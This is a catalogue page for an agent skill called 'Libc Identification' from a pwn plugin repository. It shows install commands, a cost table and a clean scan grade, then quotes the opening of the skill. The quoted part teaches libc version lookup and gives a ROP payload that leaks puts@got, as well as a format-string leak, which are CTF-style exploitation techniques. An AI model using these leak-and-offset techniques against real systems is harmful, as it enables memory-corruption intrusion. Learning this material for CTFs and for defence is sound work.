Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add allsmog/pwn-claude-plugin --skill libc-identificationgit clone --depth 1 https://github.com/allsmog/pwn-claude-pluginWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/allsmog/pwn-claude-plugin/libc-identification)<a href="https://agentmods.dev/skills/allsmog/pwn-claude-plugin/libc-identification"><img src="https://agentmods.dev/badge/skills/allsmog/pwn-claude-plugin/libc-identification.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00066 | $0.01771 |
| Opus 5 | $0.00033 | $0.00886 |
| Sonnet 5 | $0.00013 | $0.00354 |
| Haiku 4.5 | $0.00007 | $0.00177 |
Grade A, and why
Libc Identification scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 273 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Libc Identification
Overview
When exploiting remote binaries, the correct libc version is critical for calculating function offsets. This skill provides techniques for identifying libc versions from leaked addresses and calculating exploitation offsets.
Why Libc Identification Matters
Different libc versions have different:
- Function offsets (system, execve)
- String locations (/bin/sh)
- Gadget availability (one_gadget)
- Internal structures (malloc hooks)
A leak of puts at 0x7f1234567890 means nothing without knowing which libc to calculate the base from.
Identification Methods
Method 1: Online Libc Database
libc.blukat.me (Recommended):
- Leak at least 2 function addresses
- Visit https://libc.blukat.me/
- Enter function name and last 3 hex digits of address
- Database returns matching libc versions
Example:
puts: 0x7f9876543210 → last 3 digits: 210
printf: 0x7f9876512340 → last 3 digits: 340
Method 2: libc-database (Local)
# Clone libc-database
git clone https://github.com/niklasb/libc-database
cd libc-database
# Search by symbol offset
./find puts 210 printf 340
# Download identified libc
./download libc6_2.31-0ubuntu9_amd64
Method 3: pwntools libcdb
from pwn import *
from pwnlib.libcdb import search_by_symbol_offsets
# Search by leaked offsets
results = search_by_symbol_offsets({
'puts': 0x210,
'printf': 0x340
}, return_as_list=True)
for libc in results:
print(f"Possible: {libc}")
Leaking Libc Addresses
Via GOT Leak
from pwn import *
elf = ELF('./binary')
io = process('./binary')
# Leak puts@got using puts
pop_rdi = 0x401234
payload = b'A' * offset
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.symbols['main'])
io.sendline(payload)
io.recvuntil(b'prompt')
leak = u64(io.recv(6).ljust(8, b'\x00'))
log.info(f"puts@libc: {hex(leak)}")
Via Format String
# Leak from stack - find libc return address
payload = b'%p ' * 30
io.sendline(payload)
leaks = io.recvline().decode().split()
# Analyze for libc-range addresses (0x7f...)
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 8d ago First seen · 273 lines · 66 tokens per session scan A 563b7b6fd869
Libc Identification is a skill published in the GitHub repository allsmog/pwn-claude-plugin (2 stars, last pushed 6mo ago), licensed MIT. It adds 66 tokens to every session and 1,771 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.
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